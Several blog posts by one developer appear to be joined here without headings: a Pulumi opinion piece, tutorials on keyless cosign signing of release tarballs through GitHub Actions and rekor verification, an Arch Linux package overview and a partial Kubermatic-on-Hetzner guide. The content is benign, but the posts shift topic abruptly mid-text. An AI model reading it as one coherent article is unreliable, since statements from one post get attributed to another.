I think Pulumi has a huge potential, because it feels much more natural than using the Hashicorp configuration language (HCL). I do not know how many hours I have wasted into HCL for writing very simple loops and just for finding out later that these loops do not work that way, because Terraform is a little bit different. With Pulumi these frustrations are gone.

Pulumi provides a very convenient way for teams without any HCL knowledge to manage infrastructure in their favorite programming language. But, I still see a few problems with Pulumi. Writing the Pulumi code feels a little bit frustrating sometimes, too. Especially, Pulumi’s custom datatypes like pulumi.String or pulumi.Bool gave me lots of headache, because I had no idea how to fill these fields in the Pulumi structs at first and then I found out about the Pulumi datatypes I got even more frustrated when I found out that the Pulumi cloud configuration method had trouble with using these custom data types. This might be just my personal experience. If you know a way how to fill these fields in the cloudinit.LookupConfigArgs struct without using custom helper methods let me know.

This article is for every maintainer out there that has trouble with setting up PGP. We all know that setting up PGP is painful and incredibly difficult to do right, especially when aiming for automated build pipelines instead of a manual release process with human interaction. Several times, maintainers forgot the password for their PGP key, lost their PGP key or just changed it, very often without knowing the implications of these incidents for their downstream. After these incidents, many maintainers stopped signing their source tarballs at all, because they estimated the process as too difficult and toilsome to maintain. Altogether, PGP (especially GnuPG) is a horrific software we rely on and it is surprising that nobody tried to fix this over the last years. Until now…

Today, I would like to present a new process for releasing source tarballs (and any other binary large object) on Github, fully automated on Github Actions and fully keyless. The little secret behind this new process is the new sigstore stack. If you are a continuous reader of my articles you might read about ephemeral keys or keyless signatures for blobs. Cosign’s new version v1.3.1 got a little new feature, that makes verifying these source tarballs or blobs much easier. With cosign v1.3.1, cosign is able to download the public certificate from the public rekor instance (the transparency log, comparable to crt.sh just for signatures) automatically. The user just has to provide the artifact and the signature. I have already prepared a new release of my diceware-alike password generator mnemonic. It is one of my first Go projects, hence the code base kind of sucks, but it is a good example for presenting the process. If you download the newest version and verify it with cosign v1.3.1 you will see this:

$ COSIGN_EXPERIMENTAL=1  cosign verify-blob mnemonic-0.3.1.tar.gz --signature mnemonic-0.3.1.tar.gz.sig
Certificate is trusted by Fulcio Root CA
Email: []
Verified OK
tlog entry verified with uuid: "228527476f82c59641e27b8fb9b32f5fadbe47cf42c544ea97dc798490c4c14e" index: 853327

Sadly, cosign does not show all information in the public certificate. The email field is empty, because the certificate pair was not created via the OIDC issuer (like in my first blog article about cosign). Instead, the ephemeral certificate key pair has been created through the workload identity Github Actions. Feel free to verify this via downloading the public certificate and inspecting it with openssl:

$ rekor-cli get --uuid 228527476f82c59641e27b8fb9b32f5fadbe47cf42c544ea97dc798490c4c14e --format json | jq -r '.Body.RekordObj.signature.publicKey.content' | base64 -d > pub.crt
$ openssl x509 -noout -text -in pub.crt
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            5e:70:0d:3d:19:66:85:d7:1d:00:41:b8:9f:74:8c:39:ed:bf:d2
        Signature Algorithm: ecdsa-with-SHA384
        Issuer: O = sigstore.dev, CN = sigstore
        Validity
            Not Before: Nov 13 22:11:53 2021 GMT
            Not After : Nov 13 22:31:52 2021 GMT
        Subject:
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
                pub:
                    04:67:4c:43:f5:e1:04:c5:20:ec:f9:28:c0:bf:80:
                    1c:ce:08:5e:f8:14:5d:88:93:50:be:b0:d8:1a:77:
                    aa:8b:16:f6:d4:ca:bb:7a:2c:f2:22:15:22:6c:83:
                    18:37:13:db:31:0b:ca:13:ba:a5:d6:34:9b:85:cc:
                    6e:21:2b:3a:b6
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Extended Key Usage:
                Code Signing
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Subject Key Identifier:
                08:24:98:BE:E1:A6:99:E7:06:D0:1C:F8:38:5C:87:0D:7D:3B:C6:13
            X509v3 Authority Key Identifier:
                keyid:C8:C5:1D:00:41:9A:24:29:32:51:24:EB:0D:AE:4A:ED:4A:06:D3:EC

            Authority Information Access:
                CA Issuers - URI:http://privateca-content-603fe7e7-0000-2227-bf75-f4f5e80d2954.storage.googleapis.com/ca36a1e96242b9fcb146/ca.crt

            X509v3 Subject Alternative Name: critical
                URI:https://github.com/shibumi/mnemonic/.github/workflows/goreleaser.yml@refs/tags/v0.3.1
            1.3.6.1.4.1.57264.1.1:
                https://token.actions.githubusercontent.com
    Signature Algorithm: ecdsa-with-SHA384
         30:65:02:31:00:94:ff:ce:4e:c5:be:ee:29:01:de:0f:7a:9e:
         d1:fd:0a:c3:22:54:c3:a5:17:1c:8c:d2:8d:e6:88:20:1c:67:
         c9:dd:a8:fd:cc:d5:ac:39:1e:3a:d0:b4:24:c2:5a:5a:b7:02:
         30:5c:74:86:87:bc:5d:e3:5a:b7:49:98:17:9e:1a:e5:8c:ce:
         0a:3f:fb:f8:4b:50:67:e2:16:f4:41:0f:9c:7e:66:22:8d:3a:
         0b:a2:9b:45:3d:9f:80:fc:f7:d6:31:6c:fd

The interesting part is the subject alternative URI. It is this URI that will show you that the identity of this signature is connected to the github actions workflow for my repository at the specific tag v0.3.1.

So much about the verification part. Now let us have a look on how to do this. You just need two files for replicating this behavior and I am confident this should work with every programming language. GoReleaser can just build go binaries, but what stops us from using GoReleaser just for the sake of creating and signing source tarballs? The benefit is that the github workflows file is pretty much the same for every project. Let us have a look on the .goreleaser.yaml file first:

project_name: mnemonic
builds:
  - ldflags:
      - "-s -w"
      - "-extldflags=-zrelro"
      - "-extldflags=-znow"
      - "-X main.version={{.Version}}"
      - "-X main.commit={{.FullCommit}}"
      - "-X main.date={{.CommitDate}}"
    env:
      - "CGO_ENABLED=0"
      - "GO111MODULE=on"
      - "GOFLAGS=-mod=readonly -trimpath"
    goos:
      - linux
    goarch:
      - amd64
    main: .
source:
  enabled: true
signs:
  - cmd: cosign
    signature: "${artifact}.sig"
    args: ["sign-blob", "--oidc-issuer=https://token.actions.githubusercontent.com", "--output=${signature}", "${artifact}"]
    artifacts: all

The lines on top are all Go specific. Important for us are the last lines. With source.enabled: true we are activating the source tarball creation in GoReleaser. The signing magic happens in signs.args. With the flag --oidc-issuer we are commanding cosign to use the Github Actions workload identity. This line works fully independently. You do not need to create a key pair, secure it, load it via Github Secrets or creating it on the fly in the pipeline itself. The pipeline’s identity works as key via creating an ephemeral key pair for signing the artifact just once. The ephemeral certificate will expire after 30min and you do not need to care about long-time storage or anything else. Nobody else can sign a new artifact with this key pair when the key pair has expired. The related Github workflow is as simple as the GoReleaser configuration above:

  release:
    permissions:
      id-token: write
      contents: write
    runs-on: ubuntu-latest
    needs: test
    if: github.event_name == 'push' && contains(github.ref, 'refs/tags/')
    steps:
      - name: Checkout
        uses: actions/checkout@v2
        with:
          fetch-depth: 0
      - name: Set up Go
        uses: actions/setup-go@v2
        with:
          go-version: 1.17
      - name: install cosign
        uses: sigstore/cosign-installer@main
        with:
          cosign-release: 'v1.3.1'
      - name: Run GoReleaser
        uses: goreleaser/goreleaser-action@v2
        with:
          distribution: goreleaser
          version: 'v0.184.0'
          args: release --rm-dist
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          COSIGN_EXPERIMENTAL: 1

For this to work, we need two set two permissions for the release pipeline. I suggest enabling these permissions only for the GoReleaser release and not for any testing. The release pipeline should only start when a trusted maintainer sets a tag. This way, we are preventing other users from creating signed source tarballs via pull requests. The pipeline installs Go, cosign and GoReleaser. The last two lines set the Github Actions Token and enable cosign’s experimental features.

I hope this article is useful for open source project maintainers out there and I hope they will prefer this method over do not signing their code at all.

Some forecasts for the future:

• Cosign will get functionality for piping the created public certificate into a file.
• GoReleaser will get functionality for releasing the public certificate as well (nice for double-checking: offline certificate + rekor transparency log)

The sigstore infrastructure is not yet production ready, but safe to use. As far as I know transparency logs will transition into the new public production ready instance. The experimental features will hopefully be general available soon.

“But wait! If the certificates are only valid for 30 minutes, how are my users supposed to validate my artifacts?”

This is very common misconception and to be honest: I ran into the same trap at first. The terms “ephemeral” or “short-lived” do not refer to the signature validation. Instead, these terms refer to the certificate generation itself. The goal of short-lived certificates is to elimate the possible risks of private key leaks. Just imagine, we have a traditional long-lived certificate and a private key stored on one of our servers. If one attacker manages to steal this certificate and private key, maybe even years after the signature creation, the attacker will be able to craft a valid signature for their own malware with this certificate and key. With a short-lived certificate this would not be possible, because even if the attacker has access to both (private key and certificate) the attacker will not be able to craft a valid signature for the artifact, because the certificate has expired. The users are still able to validate the originally signed artifact, because the signature of this artifact has been created in the valid time frame of the certificate.

To proof my statement, we can have a look on the signature of my latest blog article. First let us print the current date:

$ date
Thu Nov 11 12:41:08 AM CET 2021

Then, let us create the artifact from my last article again. This is a simple “hello world” text file:

$ echo "hello world" > hello-world.txt

Next, we need the rekor transparency log of my last blog post. Feel free to manually check it. The used log index was: 832324. With this log index we can download the used certificate and the signature for the artifact:

$ rekor-cli get --log-index 832324 --format json | jq -r '.Body.RekordObj.signature.content'  > hello-world.txt.sig
$ rekor-cli get --log-index 832324 --format json | jq -r '.Body.RekordObj.signature.publicKey.content' | base64 -d > pub.crt

If we have a closer look on this certificate with openssl we can see that the certificate was only valid for approximately 20 minutes:

$ openssl x509 -noout -text -in pub.crt
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            7d:e3:2e:ad:8e:d0:c8:7d:c2:54:f8:c0:ba:10:8b:4b:58:9f:29
        Signature Algorithm: ecdsa-with-SHA384
        Issuer: O = sigstore.dev, CN = sigstore
        Validity
            Not Before: Nov  7 03:44:02 2021 GMT
            Not After : Nov  7 04:04:01 2021 GMT

The signing process happened in this timeframe. This is why our signature is valid:

$ COSIGN_EXPERIMENTAL=1 cosign verify-blob -cert pub.crt -signature hello-world.txt.sig hello-world.txt
No TUF root installed, using embedded CA certificate.
Certificate is trusted by Fulcio Root CA
Email: [chris@shibumi.dev]
Verified OK
tlog entry verified with uuid: "ee4b2e80cef72f8d4e3f00d695bd796ffd9e17b9cfd18ba96947493c4ee19f62" index: 832324

Awesome! We can just look up our past signatures via the rekor transparency log and use the signature + certificate to validate our artifact! One possible usecase for this is: Ship your artifact + the public certificate + the signature to the user. Then, the user can validate the artifact with the given public certificate and signature. For additional security, he can check the transparency log for the given signature and certificate and validate if the certificate has been created by the correct OIDC identifier. In my case, this is my email.

Addition from the 14th November 2021

A few people asked me if it would be possible to fake the system time for creating a signature with a stolen expired certificate. This is indeed possible for offline verification, but cosign queries the rekor transparency log on default. The rekor transparency log uses the time-stamp protocol (TSP), also known as RFC3161 for secure timestamps. Therefore, it is highly recommended to verify all signatures against the rekor transparency log. Cosign does this on default and cosign v1.3.1 even downloads the certificate from the transparency log on default.

      - name: Sign the images with GitHub OIDC **not production ready**
        run: cosign sign -oidc-issuer https://token.actions.githubusercontent.com ${TAGS}
        env:
          TAGS: ${{ steps.docker_meta.outputs.tags }}
          COSIGN_EXPERIMENTAL: 1

The shown lines are a step of a Github Action and are still experimental, but very interesting. It allows to sign a docker image via making use of the OpenID Connect standard. OpenID Connect can be summarized as follows: If you login into Github, Github will create a number of tokens. These tokens are then associated with your Github Action and with these tokens you can sign any artifact. The run line above utilizes this feature and signs a docker image.

This whole process is called “keyless” signature or ambient credentials via workload identities. The word keyless can be a little bit misleading. It does and does not refer to the existence of a cryptographic key. Implementation-wise, there is a key. Otherwise, the whole private/public procedure would not work. But, on the same time you do not have to provide a secret for generating this key. The process is secretless; at least on the first look. On the second look you will realize that your Identity has become the secret. Dan Lorenc summarizes this as follows:

1. A person logs into their Identity Provider (think Google, or Facebook).
2. The person requests an Identity Token from their provider.
3. The person hands that token to the other system (called the Relying Party) they want to login to (think, Sigstore)!
4. The relying party can verify this token, using data it knew about the Identity Provider ahead of time.

This whole story leads us to the actual topic of my article. I wanted to do the same, just without Github Actions. I wanted to know if it is possible to sign an arbitrary binary large object (blob) with my identity via OIDC. The answer is: yes. The process is undocumented and it took me a while to understand it.

First of all we need a file. Let us create a simple hello-world text file (it should work with real blobs, too):

$ echo "hello world" > hello-world.txt
$ sha256sum hello-world.txt
a948904f2f0f479b8f8197694b30184b0d2ed1c1cd2a1ec0fb85d299a192a447  hello-world.txt

Next, we will use the public sigstore instance to generate a new signature via our OpenID and upload it to a public rekor instance. This feature is still experimental. I hope they will release it soon. During the process your browser will pop-up, forward you to the public sigstore instance and ask you for a login. If you login, cosign will use your OpenID to sign the file.

$ COSIGN_EXPERIMENTAL=1 cosign sign-blob -rekor-url https://rekor.sigstore.dev -oidc-issuer https://oauth2.sigstore.dev/auth hello-world.txt
Using payload from: hello-world.txt
Generating ephemeral keys...
Retrieving signed certificate...
Your browser will now be opened to:
https://oauth2.sigstore.dev/auth/auth?access_type=online&client_id=sigstore&code_challenge=Z2gsH9r-KorQ1lYpQLKz2Wjm-zE8vNB6s25yCEuN6wo&code_challenge_method=S256&nonce=20ZeevJ6RR6a4c4jgagE3HQ43ZR&redirect_uri=http%3A%2F%2Flocalhost%3A5556%2Fauth%2Fcallback&response_type=code&scope=openid+email&state=20ZeesbrPq3piRsUbLquOaUGI5Y
Successfully verified SCT...
signing with ephemeral certificate:
-----BEGIN CERTIFICATE-----
MIICojCCAimgAwIBAgITfeMurY7QyH3CVPjAuhCLS1ifKTAKBggqhkjOPQQDAzAq
MRUwEwYDVQQKEwxzaWdzdG9yZS5kZXYxETAPBgNVBAMTCHNpZ3N0b3JlMB4XDTIx
MTEwNzAzNDQwMloXDTIxMTEwNzA0MDQwMVowADBZMBMGByqGSM49AgEGCCqGSM49
AwEHA0IABHlCpBR9fYSgplx+k5dOgoiWBLG51xJQOrys+h0dTKP3LRVQpmGSW7S+
HeMjPICrFv+9fLLuf6qhiZDaNDNLAZKjggFWMIIBUjAOBgNVHQ8BAf8EBAMCB4Aw
EwYDVR0lBAwwCgYIKwYBBQUHAwMwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU52CM
yuCMjYUDleSMbSQzYGdL8sowHwYDVR0jBBgwFoAUyMUdAEGaJCkyUSTrDa5K7UoG
0+wwgY0GCCsGAQUFBwEBBIGAMH4wfAYIKwYBBQUHMAKGcGh0dHA6Ly9wcml2YXRl
Y2EtY29udGVudC02MDNmZTdlNy0wMDAwLTIyMjctYmY3NS1mNGY1ZTgwZDI5NTQu
c3RvcmFnZS5nb29nbGVhcGlzLmNvbS9jYTM2YTFlOTYyNDJiOWZjYjE0Ni9jYS5j
cnQwHwYDVR0RAQH/BBUwE4ERY2hyaXNAc2hpYnVtaS5kZXYwLAYKKwYBBAGDvzAB
AQQeaHR0cHM6Ly9naXRodWIuY29tL2xvZ2luL29hdXRoMAoGCCqGSM49BAMDA2cA
MGQCMFSPoC87yJ9vzbA9r/axlCoUwM7seSTRjd/AofdbkIhu+PnKuVjy157iRPyF
ioPCFAIwaVl6esuRLALWBSU4ePbTDssEAwyn7X5XS+oHmyET/Ba9IGRxq+Mce20B
Wc4CreCB
-----END CERTIFICATE-----

tlog entry created with index: 832324
MEQCICKv+6N4KTrTkcV3Sc3E1ydvemWr+siTVcgtG5GPG6w7AiAbQnwgwR8tmy7XAOCx0Xox5inc3rj8v8a02U7bpSsXQw==

The output can be broken up in the following parts. First there is the generated ephemeral certificate:

-----BEGIN CERTIFICATE-----
MIICojCCAimgAwIBAgITfeMurY7QyH3CVPjAuhCLS1ifKTAKBggqhkjOPQQDAzAq
MRUwEwYDVQQKEwxzaWdzdG9yZS5kZXYxETAPBgNVBAMTCHNpZ3N0b3JlMB4XDTIx
MTEwNzAzNDQwMloXDTIxMTEwNzA0MDQwMVowADBZMBMGByqGSM49AgEGCCqGSM49
AwEHA0IABHlCpBR9fYSgplx+k5dOgoiWBLG51xJQOrys+h0dTKP3LRVQpmGSW7S+
HeMjPICrFv+9fLLuf6qhiZDaNDNLAZKjggFWMIIBUjAOBgNVHQ8BAf8EBAMCB4Aw
EwYDVR0lBAwwCgYIKwYBBQUHAwMwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU52CM
yuCMjYUDleSMbSQzYGdL8sowHwYDVR0jBBgwFoAUyMUdAEGaJCkyUSTrDa5K7UoG
0+wwgY0GCCsGAQUFBwEBBIGAMH4wfAYIKwYBBQUHMAKGcGh0dHA6Ly9wcml2YXRl
Y2EtY29udGVudC02MDNmZTdlNy0wMDAwLTIyMjctYmY3NS1mNGY1ZTgwZDI5NTQu
c3RvcmFnZS5nb29nbGVhcGlzLmNvbS9jYTM2YTFlOTYyNDJiOWZjYjE0Ni9jYS5j
cnQwHwYDVR0RAQH/BBUwE4ERY2hyaXNAc2hpYnVtaS5kZXYwLAYKKwYBBAGDvzAB
AQQeaHR0cHM6Ly9naXRodWIuY29tL2xvZ2luL29hdXRoMAoGCCqGSM49BAMDA2cA
MGQCMFSPoC87yJ9vzbA9r/axlCoUwM7seSTRjd/AofdbkIhu+PnKuVjy157iRPyF
ioPCFAIwaVl6esuRLALWBSU4ePbTDssEAwyn7X5XS+oHmyET/Ba9IGRxq+Mce20B
Wc4CreCB
-----END CERTIFICATE-----

Then you have the tlog index number: 832324. And the last line is the generated signature, encoded in base64. The tlog index number is interesting, because this number refers to the transparency log entry in the public rekor instance. The transparency log of rekor will store any signature operation. You can take a more detailed look on such an entry with the rekor-cli tool:

$ rekor-cli get --log-index 832324 --format json | jq

{
  "Attestation": "",
  "AttestationType": "",
  "Body": {
    "RekordObj": {
      "data": {
        "hash": {
          "algorithm": "sha256",
          "value": "a948904f2f0f479b8f8197694b30184b0d2ed1c1cd2a1ec0fb85d299a192a447"
        }
      },
      "signature": {
        "content": "MEQCICKv+6N4KTrTkcV3Sc3E1ydvemWr+siTVcgtG5GPG6w7AiAbQnwgwR8tmy7XAOCx0Xox5inc3rj8v8a02U7bpSsXQw==",
        "format": "x509",
        "publicKey": {
          "content": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUNvakNDQWltZ0F3SUJBZ0lUZmVNdXJZN1F5SDNDVlBqQXVoQ0xTMWlmS1RBS0JnZ3Foa2pPUFFRREF6QXEKTVJVd0V3WURWUVFLRXd4emFXZHpkRzl5WlM1a1pYWXhFVEFQQmdOVkJBTVRDSE5wWjNOMGIzSmxNQjRYRFRJeApNVEV3TnpBek5EUXdNbG9YRFRJeE1URXdOekEwTURRd01Wb3dBREJaTUJNR0J5cUdTTTQ5QWdFR0NDcUdTTTQ5CkF3RUhBMElBQkhsQ3BCUjlmWVNncGx4K2s1ZE9nb2lXQkxHNTF4SlFPcnlzK2gwZFRLUDNMUlZRcG1HU1c3UysKSGVNalBJQ3JGdis5ZkxMdWY2cWhpWkRhTkROTEFaS2pnZ0ZXTUlJQlVqQU9CZ05WSFE4QkFmOEVCQU1DQjRBdwpFd1lEVlIwbEJBd3dDZ1lJS3dZQkJRVUhBd013REFZRFZSMFRBUUgvQkFJd0FEQWRCZ05WSFE0RUZnUVU1MkNNCnl1Q01qWVVEbGVTTWJTUXpZR2RMOHNvd0h3WURWUjBqQkJnd0ZvQVV5TVVkQUVHYUpDa3lVU1RyRGE1SzdVb0cKMCt3d2dZMEdDQ3NHQVFVRkJ3RUJCSUdBTUg0d2ZBWUlLd1lCQlFVSE1BS0djR2gwZEhBNkx5OXdjbWwyWVhSbApZMkV0WTI5dWRHVnVkQzAyTURObVpUZGxOeTB3TURBd0xUSXlNamN0WW1ZM05TMW1OR1kxWlRnd1pESTVOVFF1CmMzUnZjbUZuWlM1bmIyOW5iR1ZoY0dsekxtTnZiUzlqWVRNMllURmxPVFl5TkRKaU9XWmpZakUwTmk5allTNWoKY25Rd0h3WURWUjBSQVFIL0JCVXdFNEVSWTJoeWFYTkFjMmhwWW5WdGFTNWtaWFl3TEFZS0t3WUJCQUdEdnpBQgpBUVFlYUhSMGNITTZMeTluYVhSb2RXSXVZMjl0TDJ4dloybHVMMjloZFhSb01Bb0dDQ3FHU000OUJBTURBMmNBCk1HUUNNRlNQb0M4N3lKOXZ6YkE5ci9heGxDb1V3TTdzZVNUUmpkL0FvZmRia0lodStQbkt1Vmp5MTU3aVJQeUYKaW9QQ0ZBSXdhVmw2ZXN1UkxBTFdCU1U0ZVBiVERzc0VBd3luN1g1WFMrb0hteUVUL0JhOUlHUnhxK01jZTIwQgpXYzRDcmVDQgotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=="
        }
      }
    }
  },
  "LogIndex": 832324,
  "IntegratedTime": 1636256643,
  "UUID": "ee4b2e80cef72f8d4e3f00d695bd796ffd9e17b9cfd18ba96947493c4ee19f62",
  "LogID": "c0d23d6ad406973f9559f3ba2d1ca01f84147d8ffc5b8445c224f98b9591801d"
}

The transparency log entry stores everything what you need for verify my signature. There is the sha256 checksum of my file, the signature and the public key for verify the signature.

I could not find an easy way to use this rekor transparency log as input for cosign, hence I have extracted the information manually as follows:

$ rekor-cli get --log-index 832324 --format json | jq -r '.Body.RekordObj.signature.content'  > hello-world.txt.sig
$ rekor-cli get --log-index 832324 --format json | jq -r '.Body.RekordObj.signature.publicKey.content' | base64 -d > pub.crt

The above commands will extract a signature file and the public certificate. Next, we can use both to verify the file:

$ COSIGN_EXPERIMENTAL=1 cosign verify-blob -cert pub.crt -signature hello-world.txt.sig hello-world.txt
No TUF root installed, using embedded CA certificate.
Certificate is trusted by Fulcio Root CA
Email: [chris@shibumi.dev]
Verified OK
tlog entry verified with uuid: "ee4b2e80cef72f8d4e3f00d695bd796ffd9e17b9cfd18ba96947493c4ee19f62" index: 832324

The line Verified OK states that the signature is fine. We will also see our transparency log entry again. Cosign magically detects the signature and the certificate and knows that both can be found at index 832324 in the public rekor instance (I have no clue how this works.. My guess is: more information embedded in the certificate).

If you do not know TUF… well.. this is a story for another day.

Reason Nr 1: Security

At Arch Linux we take security very seriously. Our newly selected project lead has a strong security background (founding member of the Arch Linux security team) and member in a CTF group. Another good reason is our strong hardening process. Recently, I have already explained how we harden Go binaries in Arch Linux. If you have missed this article, feel free to add it to your bookmarks. We enable the following flags in Arch Linux:

• FULL RELRO (Full Relocation Read-Only)
• STACK CANARY
• NX-Bit
• PIE (Position Independent Executable/Code)
• Setting no RPATH6
• Setting no Symbols
• FORTIFY
• ….. a full explanation can be found in the linked blog article ;)

In my experience you will not find most of these flags enabled in binaries that you download directly from Github or a project website. As far as I know, these flags are very unique to Arch Linux. Even Fedora does not enable all of them. Other arguments for Arch Linux in terms of security are:

• Packages are mostly up to date. We ship the newest Go binary as soon as possible
• We re-compile all of our packages with the newest Go binary (if possible and we are not running into weird issues with the new Go version).
• We try to ship the newest version of a software within a week (my personal record is a few minutes after release).
• We release security advisories for our packages via a mailing list and https://security.archlinux.org
• Many Arch Linux members also contribute to security related projects like https://reproducible-builds.org/ or secure supply chains.

Reason Nr 2: From cloud native developers to cloud native developers

All packages that I maintain are in daily production use. I work as SRE and my laptop runs on Arch Linux. It surprises me every day again how stable the whole system is. You could consider this as good motivation for keeping everything running and stable.

Reason Nr 3: Convenience

Arch Linux has built up a very big catalog of cloud native software. Hence, if you are tired of visiting Github project websites and if you are looking for a convenient way to install your cloud native tools on your laptop, Arch Linux is the go-to solution for you. You can easily install any of the tools below via executing sudo pacman -S <package name>. Do not consider the following list as ‘complete’. The following packages are either maintained or co-maintained by myself. Big shout-out to my co-maintainers Morten Linderud (@MortenLinderud) and David Runge:

• argocd
• aws-vault
• caddy
• cloud-init
• cosign
• cri-o
• cue
• eksctl
• fluxctl Note: flux2 is WIP for the official repositories
• fulcio
• goreleaser
• hcloud
• helm
• helmfile
• istio
• k9s
• knative-client
• ko
• kompose
• kubeadm
• kube-apiserver
• kube-control-manager
• kubectl
• kubectl-cert-manager
• kubectl-ingress-nginx
• kubectx
• kubelet
• kubeone
• kube-proxy
• kube-scheduler
• kubeseal
• kustomize
• minikube
• operator-sdk
• packer
• popeye
• pulumi
• rekor
• restic
• skaffold
• tanka
• tekton-cli
• terraform
• terragrunt
• traefik
• vals
• vault

To be honest, I thought the list would be smaller and I hope you are still reading this article. If you are missing software feel free to drop me a mail. My plans for the future involve a public github repository with all my PKGBUILDs for nicer collaboration.

Also, I would like to give a short overview about packages I will have a look on next:

• Falco (Kris Nova is already maintaining a working release in the AUR)
• More kubectl plugins (imagine we could skip krew and just install every plugin hardened and validated via pacman)
• More projects from the CNCF landscape

What is Kubermatic and why do I need it?

Kubermatic abstracts different Kubernetes clusters and providers for you. It does not matter if you want a cluster on Amazon, Google, Hetzner, vSphere or on-premise. With Kubermatic you can easily bootstrap new clusters in your favorite location with your favorite cloud provider or on-premise. Furthermore, it comes with a few extras that are a hassle to maintain yourself, like monitoring or backups.

Why do I need multiple clusters?

This depends really on your setup, your company size, your reliability expectations and many more. The main idea behind having multiple clusters is reducing blast radius. Just imagine you are running your whole company on one cluster and this cluster drifts into a bad state. This would not be good, right? With multiple clusters you can reduce this blast radius and give every customer one dedicated cluster instead of one cluster for all customers. Just like Julius Caesar said: “Divide and conquer”.

Why Hetzner?

Hetzner is the cheapest cloud provider. I do not want to spend hundreds of Euros just for a blog article. Right now while writing this article the whole setup cost me under 1€. Moreover, Hetzner is investing heavy in their new cloud platform. Just recently they have added a new stateful firewall and loadbalancers.

Ready, Set, Go

The following article requires that you have installed a cluster with Kubermatic’s Kubeone tool on Hetzner. If you do not know how to do it or you just need a tutorial for this, have a look on my last article about it.

First I recommend that you unset your KUBECONFIG variable. I ran into some issues with my custom KUBECONFIG setup. Normally I construct my KUBECONFIG with some bash magic like this:

KUBECONFIG="$(find ~/.kube/configs/ -type f -exec printf '%s:' '{}' +)"

This allows me to store all my kubeconfigs in the directory $HOME/.kube/configs and gives me benefit that I do not need to merge them. However, with Kubermatic (especially the kubermatic installer, I ran into some issues with it). So, if you see an “unauthorized” error, while installing kubermatic this might be the issue for it. By the way, the issue is being tracked in: https://github.com/kubermatic/kubermatic/issues/7093

So much about the kubeconfig. Let us talk about the installation process itself now. You will need the kubermatic-installer. I recommend the community edition for doing your first steps with Kubermatic:

curl -L -O https://github.com/kubermatic/kubermatic/releases/download/v2.16.10/kubermatic-ce-v2.16.10-linux-amd64.tar.gz

Just unpack the archive (tar xfvz kubermatic-ce-v2.16.10-linux-amd64.tar.gz ) and then have a look on the examples folder. In this folder you will see three files:

• kubermatic.example.ce.yaml
• seed.example.yaml
• values.example.yaml

The kubermatic.example.ce.yaml file defines your domain for the ingress, TLS certificates and authentication settings. Some of these authentication settings must be the same in your values.example.yaml, hence make sure to validate that you paste the same token there. The comments guide you through the configuration.

One problem I encountered has been the ClusterIssuer. I just went with the letsencrypt-staging ClusterIssuer, forgetting that my domain has HSTS (HTTP Strict Transport Security) configured. It will probably make sense to set this directly to letsencrypt-prod, otherwise you have to manually delete certificates and/or certificaterequests after switching to the production ClusterIssuer (kubectl delete certificate ..., kubectl delete certificaterequest ...). This applies to the dex and the kubermatic service. The dex service provides the authentication layer for your Kubermatic installation. With dex it is possible to use Github, Microsoft AD, LDAP or any other provider for authentication.

For a first setup you need to configure the kubermatic.example.ce.yaml and the values.example.yaml file. I can highly recommend the Kubermatic documentation. It gives you nice hints and leads you through the process: https://docs.kubermatic.com/kubermatic/v2.16/installation/install_kubermatic/.

If done, we can finally deploy Kubermatic into our Kubeone provisioned cluster on Hetzner. Note, I mentioned that kubeconfig problem earlier. I have disabled the KUBECONFIG variable via unset KUBECONFIG, thus I have to set the kubeconfig path manually as parameter in the kubermatic-installer command:

./kubermatic-installer deploy --config examples/kubermatic.example.ce.yaml --helm-values examples/values.example.yaml --storageclass hetzner --kubeconfig ~/.kube/config

Moreover, it is important to select the correct storage class. On hetzner this is hetzner. This may change with your cloud provider.

A successful first run should look like this:

❯ ./kubermatic-installer deploy --config examples/kubermatic.example.ce.yaml --helm-values examples/values.example.yaml --storageclass hetzner --kubeconfig ~/.kube/config
INFO[16:50:37] 🛫 Initializing installer…                     edition="Community Edition" version=v2.16.10
INFO[16:50:37] 🚦 Validating the provided configuration…
WARN[16:50:37]    Helm values: kubermaticOperator.imagePullSecret is empty, setting to spec.imagePullSecret from KubermaticConfiguration
INFO[16:50:37] ✅ Provided configuration is valid.
INFO[16:50:38] 🧩 Deploying kubermatic stack…
INFO[16:50:38]    💾 Deploying kubermatic-fast StorageClass…
INFO[16:50:38]    ✅ StorageClass exists, nothing to do.
INFO[16:50:38]    📦 Deploying nginx-ingress-controller…
INFO[16:50:38]       Release is up-to-date, nothing to do. Set --force to re-install anyway.
INFO[16:50:38]    ✅ Success.
INFO[16:50:38]    📦 Deploying cert-manager…
INFO[16:50:38]       Deploying Custom Resource Definitions…
INFO[16:50:39]       Deploying Helm chart…
INFO[16:50:39]       Release is up-to-date, nothing to do. Set --force to re-install anyway.
INFO[16:50:39]    ✅ Success.
INFO[16:50:39]    📦 Deploying Dex…
INFO[16:50:40]       Release is up-to-date, nothing to do. Set --force to re-install anyway.
INFO[16:50:40]    ✅ Success.
INFO[16:50:40]    📦 Deploying Kubermatic Operator…
INFO[16:50:40]       Deploying Custom Resource Definitions…
INFO[16:50:40]       Deploying Helm chart…
INFO[16:50:40]       Release is up-to-date, nothing to do. Set --force to re-install anyway.
INFO[16:50:40]    ✅ Success.
INFO[16:50:40]    📝 Applying Kubermatic Configuration…
INFO[16:50:41]    ✅ Success.
INFO[16:50:41]    📡 Determining DNS settings…
WARN[14:58:40]       Timed out waiting for the LoadBalancer service "nginx-ingress-controller/nginx-ingress-controller" to become ready.
WARN[14:58:40]       Please check the Service and, if necessary, reconfigure the
WARN[14:58:40]       nginx-ingress-controller Helm chart. Re-run the installer to apply
WARN[14:58:40]       updated configuration afterwards.
INFO[14:58:40] 🛬 Installation completed successfully. Thank you for using Kubermatic ❤

You may have noticed the last 5 lines. These lines state that the load balancer is not yet ready. If you investigate this manually you will see this:

❯ kubectl get svc nginx-ingress-controller -n nginx-ingress-controller
